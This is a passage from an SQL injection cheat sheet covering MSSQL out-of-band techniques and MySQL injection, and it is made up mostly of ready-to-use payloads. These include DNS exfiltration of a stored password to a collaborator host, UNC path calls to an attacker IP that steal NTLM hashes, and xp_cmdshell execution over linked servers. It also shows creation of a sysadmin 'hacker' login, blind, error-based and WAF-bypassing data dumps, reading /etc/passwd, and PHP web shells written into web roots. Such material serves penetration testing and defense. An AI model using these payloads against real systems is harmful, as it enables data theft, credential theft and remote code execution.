## MSSQL Out of band

### MSSQL DNS exfiltration

Technique from <https://twitter.com/ptswarm/status/1313476695295512578/photo/1>

```powershell
# Permissions: Requires VIEW SERVER STATE permission on the server.
1 and exists(select * from fn_xe_file_target_read_file('C:\*.xel','\\'%2b(select pass from users where id=1)%2b'.xxxx.burpcollaborator.net\1.xem',null,null))

# Permissions: Requires the CONTROL SERVER permission.
1 (select 1 where exists(select * from fn_get_audit_file('\\'%2b(select pass from users where id=1)%2b'.xxxx.burpcollaborator.net\',default,default)))
1 and exists(select * from fn_trace_gettable('\\'%2b(select pass from users where id=1)%2b'.xxxx.burpcollaborator.net\1.trc',default))
```

### MSSQL UNC Path

MSSQL supports stacked queries so we can create a variable pointing to our IP address then use the `xp_dirtree` function to list the files in our SMB share and grab the NTLMv2 hash.

```sql
1'; use master; exec xp_dirtree '\\10.10.15.XX\SHARE';-- 
```

```sql
xp_dirtree '\\attackerip\file'
xp_fileexist '\\attackerip\file'
BACKUP LOG [TESTING] TO DISK = '\\attackerip\file'
BACKUP DATABASE [TESTING] TO DISK = '\\attackeri\file'
RESTORE LOG [TESTING] FROM DISK = '\\attackerip\file'
RESTORE DATABASE [TESTING] FROM DISK = '\\attackerip\file'
RESTORE HEADERONLY FROM DISK = '\\attackerip\file'
RESTORE FILELISTONLY FROM DISK = '\\attackerip\file'
RESTORE LABELONLY FROM DISK = '\\attackerip\file'
RESTORE REWINDONLY FROM DISK = '\\attackerip\file'
RESTORE VERIFYONLY FROM DISK = '\\attackerip\file'
```

## MSSQL Make user DBA (DB admin)

```sql
EXEC master.dbo.sp_addsrvrolemember 'user', 'sysadmin;
```

## MSSQL Trusted Links

> The links between databases work even across forest trusts.

```powershell
msf> use exploit/windows/mssql/mssql_linkcrawler
[msf> set DEPLOY true] #Set DEPLOY to true if you want to abuse the privileges to obtain a meterpreter sessio
```

Manual exploitation

```sql
-- find link
select * from master..sysservers

-- execute query through the link
select * from openquery("dcorp-sql1", 'select * from master..sysservers')
select version from openquery("linkedserver", 'select @@version as version');

-- chain multiple openquery
select version from openquery("link1",'select version from openquery("link2","select @@version as version")')

-- execute shell commands
EXECUTE('sp_configure ''xp_cmdshell'',1;reconfigure;') AT LinkedServer
select 1 from openquery("linkedserver",'select 1;exec master..xp_cmdshell "dir c:"')

-- create user and give admin privileges
EXECUTE('EXECUTE(''CREATE LOGIN hacker WITH PASSWORD = ''''P@ssword123.'''' '') AT "DOMINIO\SERVER1"') AT "DOMINIO\SERVER2"
EXECUTE('EXECUTE(''sp_addsrvrolemember ''''hacker'''' , ''''sysadmin'''' '') AT "DOMINIO\SERVER1"') AT "DOMINIO\SERVER2"
```

## List permissions

Listing effective permissions of current user on the server.

```sql
SELECT * FROM fn_my_permissions(NULL, 'SERVER'); 
```

Listing effective permissions of current user on the database.

```sql
SELECT * FROM fn_my_permissions (NULL, 'DATABASE');
```

Listing effective permissions of current user on a view.

```
SELECT * FROM fn_my_permissions('Sales.vIndividualCustomer', 'OBJECT') ORDER BY subentity_name, permission_name; 
```

Check if current user is a member of the specified server role.

```sql
-- possible roles: sysadmin, serveradmin, dbcreator, setupadmin, bulkadmin, securityadmin, diskadmin, public, processadmin
SELECT is_srvrolemember('sysadmin');
```

## References

* [Pentest Monkey - mssql-sql-injection-cheat-sheet](http://pentestmonkey.net/cheat-sheet/sql-injection/mssql-sql-injection-cheat-sheet)
* [Error Based - SQL Injection](https://github.com/incredibleindishell/exploit-code-by-me/blob/master/MSSQL%20Error-Based%20SQL%20Injection%20Order%20by%20clause/Error%20based%20SQL%20Injection%20in%20“Order%20By”%20clause%20\(MSSQL\).pdf)
* [MSSQL Trusted Links - HackTricks.xyz](https://book.hacktricks.xyz/windows/active-directory-methodology/mssql-trusted-links)
* [SQL Server – Link… Link… Link… and Shell: How to Hack Database Links in SQL Server! - Antti Rantasaari - June 6th, 2013](https://blog.netspi.com/how-to-hack-database-links-in-sql-server/)
* [DAFT: Database Audit Framework & Toolkit - NetSPI](https://github.com/NetSPI/DAFT)
* [SQL Server UNC Path Injection Cheatsheet - nullbind](https://gist.github.com/nullbind/7dfca2a6309a4209b5aeef181b676c6e)
* [Full MSSQL Injection PWNage - ZeQ3uL && JabAv0C - 28 January 2009](https://www.exploit-db.com/papers/12975)
* [Microsoft - sys.fn\_my\_permissions (Transact-SQL)](https://docs.microsoft.com/en-us/sql/relational-databases/system-functions/sys-fn-my-permissions-transact-sql?view=sql-server-ver15)
* [Microsoft - IS\_SRVROLEMEMBER (Transact-SQL)](https://docs.microsoft.com/en-us/sql/t-sql/functions/is-srvrolemember-transact-sql?view=sql-server-ver15)


# MYSQL Injection

## Summary

* [MYSQL Comment](broken://pages/80Qt9QVgWd1Q9gPJqvPZ)
* [MYSQL Union Based](broken://pages/80Qt9QVgWd1Q9gPJqvPZ)
  * [Detect columns number](broken://pages/80Qt9QVgWd1Q9gPJqvPZ)
  * [Extract database with information\_schema](broken://pages/80Qt9QVgWd1Q9gPJqvPZ)
  * [Extract columns name without information\_schema](broken://pages/80Qt9QVgWd1Q9gPJqvPZ)
  * [Extract data without columns name](broken://pages/80Qt9QVgWd1Q9gPJqvPZ)
* [MYSQL Error Based](broken://pages/80Qt9QVgWd1Q9gPJqvPZ)
  * [MYSQL Error Based - Basic](broken://pages/80Qt9QVgWd1Q9gPJqvPZ)
  * [MYSQL Error Based - UpdateXML function](broken://pages/80Qt9QVgWd1Q9gPJqvPZ)
  * [MYSQL Error Based - Extractvalue function](broken://pages/80Qt9QVgWd1Q9gPJqvPZ)
* [MYSQL Blind](broken://pages/80Qt9QVgWd1Q9gPJqvPZ)
  * [MYSQL Blind with substring equivalent](broken://pages/80Qt9QVgWd1Q9gPJqvPZ)
  * [MYSQL Blind using a conditional statement](broken://pages/80Qt9QVgWd1Q9gPJqvPZ)
  * [MYSQL Blind with MAKE\_SET](broken://pages/80Qt9QVgWd1Q9gPJqvPZ)
  * [MYSQL Blind with LIKE](broken://pages/80Qt9QVgWd1Q9gPJqvPZ)
* [MYSQL Time Based](broken://pages/80Qt9QVgWd1Q9gPJqvPZ)
  * [Using SLEEP in a subselect](broken://pages/80Qt9QVgWd1Q9gPJqvPZ)
  * [Using conditional statements](broken://pages/80Qt9QVgWd1Q9gPJqvPZ)
* [MYSQL DIOS - Dump in One Shot](broken://pages/80Qt9QVgWd1Q9gPJqvPZ)
* [MYSQL Current queries](broken://pages/80Qt9QVgWd1Q9gPJqvPZ)
* [MYSQL Read content of a file](broken://pages/80Qt9QVgWd1Q9gPJqvPZ)
* [MYSQL Write a shell](broken://pages/80Qt9QVgWd1Q9gPJqvPZ)
  * [Into outfile method](broken://pages/80Qt9QVgWd1Q9gPJqvPZ)
  * [Into dumpfile method](broken://pages/80Qt9QVgWd1Q9gPJqvPZ)
* [MYSQL UDF command execution](broken://pages/80Qt9QVgWd1Q9gPJqvPZ)
* [MYSQL Truncation](broken://pages/80Qt9QVgWd1Q9gPJqvPZ)
* [MYSQL Fast Exploitation](broken://pages/80Qt9QVgWd1Q9gPJqvPZ)
* [MYSQL Out of band](broken://pages/80Qt9QVgWd1Q9gPJqvPZ)
  * [DNS exfiltration](broken://pages/80Qt9QVgWd1Q9gPJqvPZ)
  * [UNC Path - NTLM hash stealing](broken://pages/80Qt9QVgWd1Q9gPJqvPZ)
* [References](broken://pages/80Qt9QVgWd1Q9gPJqvPZ)

## MYSQL comment

```sql
# MYSQL Comment
-- comment [Note the space after the double dash]
/* MYSQL Comment */
/*! MYSQL Special SQL */
/*!32302 10*/ Comment for MYSQL version 3.23.02
```

## MYSQL Union Based

### Detect columns number

First you need to know the number of columns

**Using `order by` or `group by`**

Keep incrementing the number until you get a False response. Even though GROUP BY and ORDER BY have different funcionality in SQL, they both can be used in the exact same fashion to determine the number of columns in the query.

```sql
1' ORDER BY 1--+	#True
1' ORDER BY 2--+	#True
1' ORDER BY 3--+	#True
1' ORDER BY 4--+	#False - Query is only using 3 columns
                        #-1' UNION SELECT 1,2,3--+	True
```

or

```sql
1' GROUP BY 1--+	#True
1' GROUP BY 2--+	#True
1' GROUP BY 3--+	#True
1' GROUP BY 4--+	#False - Query is only using 3 columns
                        #-1' UNION SELECT 1,2,3--+	True
```

**Using `order by` or `group by` Error Based**

Similar to the previous method, we can check the number of columns with 1 request if error showing is enabled.

```sql
1' ORDER BY 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100--+

# Unknown column '4' in 'order clause'
# This error means query uses 3 column
#-1' UNION SELECT 1,2,3--+	True
```

or

```sql
1' GROUP BY 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100--+

# Unknown column '4' in 'group statement'
# This error means query uses 3 column
#-1' UNION SELECT 1,2,3--+	True
```

**Using `UNION SELECT` Error Based**

This method works if error showing is enabled

```sql
1' UNION SELECT @--+        #The used SELECT statements have a different number of columns
1' UNION SELECT @,@--+      #The used SELECT statements have a different number of columns
1' UNION SELECT @,@,@--+    #No error means query uses 3 column
                            #-1' UNION SELECT 1,2,3--+	True
```

**Using `LIMIT INTO` Error Based**

This method works if error showing is enabled.

It is useful for finding the number of columns when the injection point is after a LIMIT clause.

```sql
1' LIMIT 1,1 INTO @--+        #The used SELECT statements have a different number of columns
1' LIMIT 1,1 INTO @,@--+      #The used SELECT statements have a different number of columns
1' LIMIT 1,1 INTO @,@,@--+    #No error means query uses 3 column
                              #-1' UNION SELECT 1,2,3--+	True
```

**Using `SELECT * FROM SOME_EXISTING_TABLE` Error Based**

This works if you know the table name you're after and error showing is enabled.

It will return the amount of columns in the table, not the query.

```sql
1' AND (SELECT * FROM Users) = 1--+ 	#Operand should contain 3 column(s)
                                        # This error means query uses 3 column
                                        #-1' UNION SELECT 1,2,3--+	True
```

### Extract database with information\_schema

Then the following codes will extract the databases'name, tables'name, columns'name.

```sql
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,schema_name,0x7c)+fRoM+information_schema.schemata
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,table_name,0x7C)+fRoM+information_schema.tables+wHeRe+table_schema=...
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,column_name,0x7C)+fRoM+information_schema.columns+wHeRe+table_name=...
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,data,0x7C)+fRoM+...
```

### Extract columns name without information\_schema

Method for `MySQL >= 4.1`.

First extract the column number with

```sql
?id=(1)and(SELECT * from db.users)=(1)
-- Operand should contain 4 column(s)
```

Then extract the column name.

```sql
?id=1 and (1,2,3,4) = (SELECT * from db.users UNION SELECT 1,2,3,4 LIMIT 1)
--Column 'id' cannot be null
```

Method for `MySQL 5`

```sql
-1 UNION SELECT * FROM (SELECT * FROM users JOIN users b)a
--#1060 - Duplicate column name 'id'

-1 UNION SELECT * FROM (SELECT * FROM users JOIN users b USING(id))a
-- #1060 - Duplicate column name 'name'

-1 UNION SELECT * FROM (SELECT * FROM users JOIN users b USING(id,name))a
...
```

### Extract data without columns name

Extracting data from the 4th column without knowing its name.

```sql
select `4` from (select 1,2,3,4,5,6 union select * from users)dbname;
```

Injection example inside the query `select author_id,title from posts where author_id=[INJECT_HERE]`

```sql
MariaDB [dummydb]> select author_id,title from posts where author_id=-1 union select 1,(select concat(`3`,0x3a,`4`) from (select 1,2,3,4,5,6 union select * from users)a limit 1,1);
+-----------+-----------------------------------------------------------------+
| author_id | title                                                           |
+-----------+-----------------------------------------------------------------+
|         1 | a45d4e080fc185dfa223aea3d0c371b6cc180a37:veronica80@example.org |
+-----------+-----------------------------------------------------------------+
```

## MYSQL Error Based

### MYSQL Error Based - Basic

Works with `MySQL >= 4.1`

```sql
(select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))
'+(select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))+'
```

### MYSQL Error Based - UpdateXML function

```sql
AND updatexml(rand(),concat(CHAR(126),version(),CHAR(126)),null)-
AND updatexml(rand(),concat(0x3a,(SELECT concat(CHAR(126),schema_name,CHAR(126)) FROM information_schema.schemata LIMIT data_offset,1)),null)--
AND updatexml(rand(),concat(0x3a,(SELECT concat(CHAR(126),TABLE_NAME,CHAR(126)) FROM information_schema.TABLES WHERE table_schema=data_column LIMIT data_offset,1)),null)--
AND updatexml(rand(),concat(0x3a,(SELECT concat(CHAR(126),column_name,CHAR(126)) FROM information_schema.columns WHERE TABLE_NAME=data_table LIMIT data_offset,1)),null)--
AND updatexml(rand(),concat(0x3a,(SELECT concat(CHAR(126),data_info,CHAR(126)) FROM data_table.data_column LIMIT data_offset,1)),null)--
```

Shorter to read:

```sql
' and updatexml(null,concat(0x0a,version()),null)-- -
' and updatexml(null,concat(0x0a,(select table_name from information_schema.tables where table_schema=database() LIMIT 0,1)),null)-- -
```

### MYSQL Error Based - Extractvalue function

Works with `MySQL >= 5.1`

```sql
?id=1 AND extractvalue(rand(),concat(CHAR(126),version(),CHAR(126)))--
?id=1 AND extractvalue(rand(),concat(0x3a,(SELECT concat(CHAR(126),schema_name,CHAR(126)) FROM information_schema.schemata LIMIT data_offset,1)))--
?id=1 AND extractvalue(rand(),concat(0x3a,(SELECT concat(CHAR(126),TABLE_NAME,CHAR(126)) FROM information_schema.TABLES WHERE table_schema=data_column LIMIT data_offset,1)))--
?id=1 AND extractvalue(rand(),concat(0x3a,(SELECT concat(CHAR(126),column_name,CHAR(126)) FROM information_schema.columns WHERE TABLE_NAME=data_table LIMIT data_offset,1)))--
?id=1 AND extractvalue(rand(),concat(0x3a,(SELECT concat(CHAR(126),data_info,CHAR(126)) FROM data_table.data_column LIMIT data_offset,1)))--
```

### MYSQL Error Based - NAME\_CONST function (only for constants)

Works with `MySQL >= 5.0`

```sql
?id=1 AND (SELECT * FROM (SELECT NAME_CONST(version(),1),NAME_CONST(version(),1)) as x)--
?id=1 AND (SELECT * FROM (SELECT NAME_CONST(user(),1),NAME_CONST(user(),1)) as x)--
?id=1 AND (SELECT * FROM (SELECT NAME_CONST(database(),1),NAME_CONST(database(),1)) as x)--
```

## MYSQL Blind

### MYSQL Blind with substring equivalent

```sql
?id=1 and substring(version(),1,1)=5
?id=1 and right(left(version(),1),1)=5
?id=1 and left(version(),1)=4
?id=1 and ascii(lower(substr(Version(),1,1)))=51
?id=1 and (select mid(version(),1,1)=4)
?id=1 AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables > 'A'
?id=1 AND SELECT SUBSTR(column_name,1,1) FROM information_schema.columns > 'A'
```

### MySQL Blind SQL Injection in ORDER BY clause using a binary query and REGEXP

This query basically orders by one column or the other, depending on whether the EXISTS() returns a 1 or not. For the EXISTS() function to return a 1, the REGEXP query needs to match up, this means you can bruteforce blind values character by character and leak data from the database without direct output.

```
[...] ORDER BY (SELECT (CASE WHEN EXISTS(SELECT [COLUMN] FROM [TABLE] WHERE [COLUMN] REGEXP "^[BRUTEFORCE CHAR BY CHAR].*" AND [FURTHER OPTIONS / CONDITIONS]) THEN [ONE COLUMN TO ORDER BY] ELSE [ANOTHER COLUMN TO ORDER BY] END)); -- -
```

### MySQL Blind SQL Injection binary query using REGEXP.

Payload:

```
' OR (SELECT (CASE WHEN EXISTS(SELECT name FROM items WHERE name REGEXP "^a.*") THEN SLEEP(3) ELSE 1 END)); -- -
```

Would work in the query (where the "where" clause is the injection point):

```
SELECT name,price FROM items WHERE name = '' OR (SELECT (CASE WHEN EXISTS(SELECT name FROM items WHERE name REGEXP "^a.*") THEN SLEEP(3) ELSE 1 END)); -- -';
```

In said query, it will check to see if an item exists in the "name" column in the "items" database that starts with an "a". If it will sleep for 3 seconds per item.

### MYSQL Blind using a conditional statement

TRUE: `if @@version starts with a 5`:

```sql
2100935' OR IF(MID(@@version,1,1)='5',sleep(1),1)='2
Response:
HTTP/1.1 500 Internal Server Error
```

False: `if @@version starts with a 4`:

```sql
2100935' OR IF(MID(@@version,1,1)='4',sleep(1),1)='2
Response:
HTTP/1.1 200 OK
```

### MYSQL Blind with MAKE\_SET

```sql
AND MAKE_SET(YOLO<(SELECT(length(version()))),1)
AND MAKE_SET(YOLO<ascii(substring(version(),POS,1)),1)
AND MAKE_SET(YOLO<(SELECT(length(concat(login,password)))),1)
AND MAKE_SET(YOLO<ascii(substring(concat(login,password),POS,1)),1)
```

### MYSQL Blind with LIKE

['\_'](https://www.w3resource.com/sql/wildcards-like-operator/wildcards-underscore.php) acts like the regex character '.', use it to speed up your blind testing

```sql
SELECT cust_code FROM customer WHERE cust_name LIKE 'k__l';
```

## MYSQL Time Based

The following SQL codes will delay the output from MySQL.

```sql
+BENCHMARK(40000000,SHA1(1337))+
'%2Bbenchmark(3200,SHA1(1))%2B'
AND [RANDNUM]=BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]'))  //SHA1
RLIKE SLEEP([SLEEPTIME])
OR ELT([RANDNUM]=[RANDNUM],SLEEP([SLEEPTIME]))
```

### Using SLEEP in a subselect

```powershell
1 and (select sleep(10) from dual where database() like '%')#
1 and (select sleep(10) from dual where database() like '___')# 
1 and (select sleep(10) from dual where database() like '____')#
1 and (select sleep(10) from dual where database() like '_____')#
1 and (select sleep(10) from dual where database() like 'a____')#
...
1 and (select sleep(10) from dual where database() like 's____')#
1 and (select sleep(10) from dual where database() like 'sa___')#
...
1 and (select sleep(10) from dual where database() like 'sw___')#
1 and (select sleep(10) from dual where database() like 'swa__')#
1 and (select sleep(10) from dual where database() like 'swb__')#
1 and (select sleep(10) from dual where database() like 'swi__')#
...
1 and (select sleep(10) from dual where (select table_name from information_schema.columns where table_schema=database() and column_name like '%pass%' limit 0,1) like '%')#
```

### Using conditional statements

```sql
?id=1 AND IF(ASCII(SUBSTRING((SELECT USER()),1,1)))>=100,1, BENCHMARK(2000000,MD5(NOW()))) --
?id=1 AND IF(ASCII(SUBSTRING((SELECT USER()), 1, 1)))>=100, 1, SLEEP(3)) --
?id=1 OR IF(MID(@@version,1,1)='5',sleep(1),1)='2
```

## MYSQL DIOS - Dump in One Shot

```sql
(select (@) from (select(@:=0x00),(select (@) from (information_schema.columns) where (table_schema>=@) and (@)in (@:=concat(@,0x0D,0x0A,' [ ',table_schema,' ] > ',table_name,' > ',column_name,0x7C))))a)#

(select (@) from (select(@:=0x00),(select (@) from (db_data.table_data) where (@)in (@:=concat(@,0x0D,0x0A,0x7C,' [ ',column_data1,' ] > ',column_data2,' > ',0x7C))))a)#

-- SecurityIdiots
make_set(6,@:=0x0a,(select(1)from(information_schema.columns)where@:=make_set(511,@,0x3c6c693e,table_name,column_name)),@)

-- Profexer
(select(@)from(select(@:=0x00),(select(@)from(information_schema.columns)where(@)in(@:=concat(@,0x3C62723E,table_name,0x3a,column_name))))a)

-- Dr.Z3r0
(select(select concat(@:=0xa7,(select count(*)from(information_schema.columns)where(@:=concat(@,0x3c6c693e,table_name,0x3a,column_name))),@))

-- M@dBl00d
(Select export_set(5,@:=0,(select count(*)from(information_schema.columns)where@:=export_set(5,export_set(5,@,table_name,0x3c6c693e,2),column_name,0xa3a,2)),@,2))

-- Zen
+make_set(6,@:=0x0a,(select(1)from(information_schema.columns)where@:=make_set(511,@,0x3c6c693e,table_name,column_name)),@)

-- Zen WAF
(/*!12345sELecT*/(@)from(/*!12345sELecT*/(@:=0x00),(/*!12345sELecT*/(@)from(`InFoRMAtiON_sCHeMa`.`ColUMNs`)where(`TAblE_sCHemA`=DatAbAsE/*data*/())and(@)in(@:=CoNCat%0a(@,0x3c62723e5461626c6520466f756e64203a20,TaBLe_nAMe,0x3a3a,column_name))))a)

-- ~tr0jAn WAF
+concat/*!(unhex(hex(concat/*!(0x3c2f6469763e3c2f696d673e3c2f613e3c2f703e3c2f7469746c653e,0x223e,0x273e,0x3c62723e3c62723e,unhex(hex(concat/*!(0x3c63656e7465723e3c666f6e7420636f6c6f723d7265642073697a653d343e3c623e3a3a207e7472306a416e2a2044756d7020496e204f6e652053686f74205175657279203c666f6e7420636f6c6f723d626c75653e28574146204279706173736564203a2d20207620312e30293c2f666f6e743e203c2f666f6e743e3c2f63656e7465723e3c2f623e))),0x3c62723e3c62723e,0x3c666f6e7420636f6c6f723d626c75653e4d7953514c2056657273696f6e203a3a20,version(),0x7e20,@@version_comment,0x3c62723e5072696d617279204461746162617365203a3a20,@d:=database(),0x3c62723e44617461626173652055736572203a3a20,user(),(/*!12345selEcT*/(@x)/*!from*/(/*!12345selEcT*/(@x:=0x00),(@r:=0),(@running_number:=0),(@tbl:=0x00),(/*!12345selEcT*/(0) from(information_schema./**/columns)where(table_schema=database()) and(0x00)in(@x:=Concat/*!(@x, 0x3c62723e, if( (@tbl!=table_name), Concat/*!(0x3c666f6e7420636f6c6f723d707572706c652073697a653d333e,0x3c62723e,0x3c666f6e7420636f6c6f723d626c61636b3e,LPAD(@r:=@r%2b1, 2, 0x30),0x2e203c2f666f6e743e,@tbl:=table_name,0x203c666f6e7420636f6c6f723d677265656e3e3a3a204461746162617365203a3a203c666f6e7420636f6c6f723d626c61636b3e28,database(),0x293c2f666f6e743e3c2f666f6e743e,0x3c2f666f6e743e,0x3c62723e), 0x00),0x3c666f6e7420636f6c6f723d626c61636b3e,LPAD(@running_number:=@running_number%2b1,3,0x30),0x2e20,0x3c2f666f6e743e,0x3c666f6e7420636f6c6f723d7265643e,column_name,0x3c2f666f6e743e))))x)))))*/+

-- ~tr0jAn Benchmark
+concat(0x3c666f6e7420636f6c6f723d7265643e3c62723e3c62723e7e7472306a416e2a203a3a3c666f6e7420636f6c6f723d626c75653e20,version(),0x3c62723e546f74616c204e756d626572204f6620446174616261736573203a3a20,(select count(*) from information_schema.schemata),0x3c2f666f6e743e3c2f666f6e743e,0x202d2d203a2d20,concat(@sc:=0x00,@scc:=0x00,@r:=0,benchmark(@a:=(select count(*) from information_schema.schemata),@scc:=concat(@scc,0x3c62723e3c62723e,0x3c666f6e7420636f6c6f723d7265643e,LPAD(@r:=@r%2b1,3,0x30),0x2e20,(Select concat(0x3c623e,@sc:=schema_name,0x3c2f623e) from information_schema.schemata where schema_name>@sc order by schema_name limit 1),0x202028204e756d626572204f66205461626c657320496e204461746162617365203a3a20,(select count(*) from information_Schema.tables where table_schema=@sc),0x29,0x3c2f666f6e743e,0x202e2e2e20 ,@t:=0x00,@tt:=0x00,@tr:=0,benchmark((select count(*) from information_Schema.tables where table_schema=@sc),@tt:=concat(@tt,0x3c62723e,0x3c666f6e7420636f6c6f723d677265656e3e,LPAD(@tr:=@tr%2b1,3,0x30),0x2e20,(select concat(0x3c623e,@t:=table_name,0x3c2f623e) from information_Schema.tables where table_schema=@sc and table_name>@t order by table_name limit 1),0x203a20284e756d626572204f6620436f6c756d6e7320496e207461626c65203a3a20,(select count(*) from information_Schema.columns where table_name=@t),0x29,0x3c2f666f6e743e,0x202d2d3a20,@c:=0x00,@cc:=0x00,@cr:=0,benchmark((Select count(*) from information_schema.columns where table_schema=@sc and table_name=@t),@cc:=concat(@cc,0x3c62723e,0x3c666f6e7420636f6c6f723d707572706c653e,LPAD(@cr:=@cr%2b1,3,0x30),0x2e20,(Select (@c:=column_name) from information_schema.columns where table_schema=@sc and table_name=@t and column_name>@c order by column_name LIMIT 1),0x3c2f666f6e743e)),@cc,0x3c62723e)),@tt)),@scc),0x3c62723e3c62723e,0x3c62723e3c62723e)+

-- N1Z4M WAF
+/*!13337concat*/(0x3c616464726573733e3c63656e7465723e3c62723e3c68313e3c666f6e7420636f6c6f723d22526564223e496e6a6563746564206279204e315a344d3c2f666f6e743e3c68313e3c2f63656e7465723e3c62723e3c666f6e7420636f6c6f723d2223663364393361223e4461746162617365207e3e3e203c2f666f6e743e,database/**N1Z4M**/(),0x3c62723e3c666f6e7420636f6c6f723d2223306639643936223e56657273696f6e207e3e3e203c2f666f6e743e,@@version,0x3c62723e3c666f6e7420636f6c6f723d2223306637363964223e55736572207e3e3e203c2f666f6e743e,user/**N1Z4M**/(),0x3c62723e3c666f6e7420636f6c6f723d2223306639643365223e506f7274207e3e3e203c2f666f6e743e,@@port,0x3c62723e3c666f6e7420636f6c6f723d2223346435613733223e4f53207e3e3e203c2f666f6e743e,@@version_compile_os,0x2c3c62723e3c666f6e7420636f6c6f723d2223366134343732223e44617461204469726563746f7279204c6f636174696f6e207e3e3e203c2f666f6e743e,@@datadir,0x3c62723e3c666f6e7420636f6c6f723d2223333130343362223e55554944207e3e3e203c2f666f6e743e,UUID/**N1Z4M**/(),0x3c62723e3c666f6e7420636f6c6f723d2223363930343637223e43757272656e742055736572207e3e3e203c2f666f6e743e,current_user/**N1Z4M**/(),0x3c62723e3c666f6e7420636f6c6f723d2223383432303831223e54656d70204469726563746f7279207e3e3e203c2f666f6e743e,@@tmpdir,0x3c62723e3c666f6e7420636f6c6f723d2223396336623934223e424954532044455441494c53207e3e3e203c2f666f6e743e,@@version_compile_machine,0x3c62723e3c666f6e7420636f6c6f723d2223396630613838223e46494c452053595354454d207e3e3e203c2f666f6e743e,@@CHARACTER_SET_FILESYSTEM,0x3c62723e3c666f6e7420636f6c6f723d2223393234323564223e486f7374204e616d65207e3e3e203c2f666f6e743e,@@hostname,0x3c62723e3c666f6e7420636f6c6f723d2223393430313333223e53797374656d2055554944204b6579207e3e3e203c2f666f6e743e,UUID/**N1Z4M**/(),0x3c62723e3c666f6e7420636f6c6f723d2223613332363531223e53796d4c696e6b20207e3e3e203c2f666f6e743e,@@GLOBAL.have_symlink,0x3c62723e3c666f6e7420636f6c6f723d2223353830633139223e53534c207e3e3e203c2f666f6e743e,@@GLOBAL.have_ssl,0x3c62723e3c666f6e7420636f6c6f723d2223393931663333223e42617365204469726563746f7279207e3e3e203c2f666f6e743e,@@basedir,0x3c62723e3c2f616464726573733e3c62723e3c666f6e7420636f6c6f723d22626c7565223e,(/*!13337select*/(@a)/*!13337from*/(/*!13337select*/(@a:=0x00),(/*!13337select*/(@a)/*!13337from*/(information_schema.columns)/*!13337where*/(table_schema!=0x696e666f726d6174696f6e5f736368656d61)and(@a)in(@a:=/*!13337concat*/(@a,table_schema,0x3c666f6e7420636f6c6f723d22726564223e20203a3a203c2f666f6e743e,table_name,0x3c666f6e7420636f6c6f723d22726564223e20203a3a203c2f666f6e743e,column_name,0x3c62723e))))a))+

-- sharik
(select(@a)from(select(@a:=0x00),(select(@a)from(information_schema.columns)where(table_schema!=0x696e666f726d6174696f6e5f736368656d61)and(@a)in(@a:=concat(@a,table_name,0x203a3a20,column_name,0x3c62723e))))a)
```

## MYSQL Current queries

This table can list all operations that DB is performing at the moment.

```sql
union SELECT 1,state,info,4 FROM INFORMATION_SCHEMA.PROCESSLIST #

-- Dump in one shot example for the table content.
union select 1,(select(@)from(select(@:=0x00),(select(@)from(information_schema.processlist)where(@)in(@:=concat(@,0x3C62723E,state,0x3a,info))))a),3,4 #
```

## MYSQL Read content of a file

Need the `filepriv`, otherwise you will get the error : `ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement`

```sql
' UNION ALL SELECT LOAD_FILE('/etc/passwd') --
```

```sql
UNION ALL SELECT TO_base64(LOAD_FILE('/var/www/html/index.php'));
```

If you are `root` on the database, you can re-enable the `LOAD_FILE` using the following query

```sql
GRANT FILE ON *.* TO 'root'@'localhost'; FLUSH PRIVILEGES;#
```

## MYSQL Write a shell

### Into outfile method

```sql
[...] UNION SELECT "<?php system($_GET['cmd']); ?>" into outfile "C:\\xampp\\htdocs\\backdoor.php"
[...] UNION SELECT '' INTO OUTFILE '/var/www/html/x.php' FIELDS TERMINATED BY '<?php phpinfo();?>'
[...] UNION SELECT 1,2,3,4,5,0x3c3f70687020706870696e666f28293b203f3e into outfile 'C:\\wamp\\www\\pwnd.php'-- -
[...] union all select 1,2,3,4,"<?php echo shell_exec($_GET['cmd']);?>",6 into OUTFILE 'c:/inetpub/wwwroot/backdoor.php'
```

### Into dumpfile method

```sql
[...] UNION SELECT 0xPHP_PAYLOAD_IN_HEX, NULL, NULL INTO DUMPFILE 'C:/Program Files/EasyPHP-12.1/www/shell.php'
[...] UNION SELECT 0x3c3f7068702073797374656d28245f4745545b2763275d293b203f3e INTO DUMPFILE '/var/www/html/images/shell.php';
```

## MYSQL Truncation

In MYSQL "`admin` " and "`admin`" are the same. If the username column in the database has a character-limit the rest of the characters are truncated. So if the database has a column-limit of 20 characters and we input a string with 21 characters the last 1 character will be removed.

```sql
`username` varchar(20) not null
```

Payload: `username = "admin a"`

## MYSQL Fast Exploitation

Requirement: `MySQL >= 5.7.22`

Use `json_arrayagg()` instead of `group_concat()` which allows less symbols to be displayed

* group\_concat() = 1024 symbols
* json\_arrayagg() > 16,000,000 symbols

```sql
SELECT json_arrayagg(concat_ws(0x3a,table_schema,table_name)) from INFORMATION_SCHEMA.TABLES;
```

## MYSQL UDF command execution

First you need to check if the UDF are installed on the server.

```powershell
$ whereis lib_mysqludf_sys.so
/usr/lib/lib_mysqludf_sys.so
```

Then you can use functions such as `sys_exec` and `sys_eval`.

```sql
$ mysql -u root -p mysql
Enter password: [...]
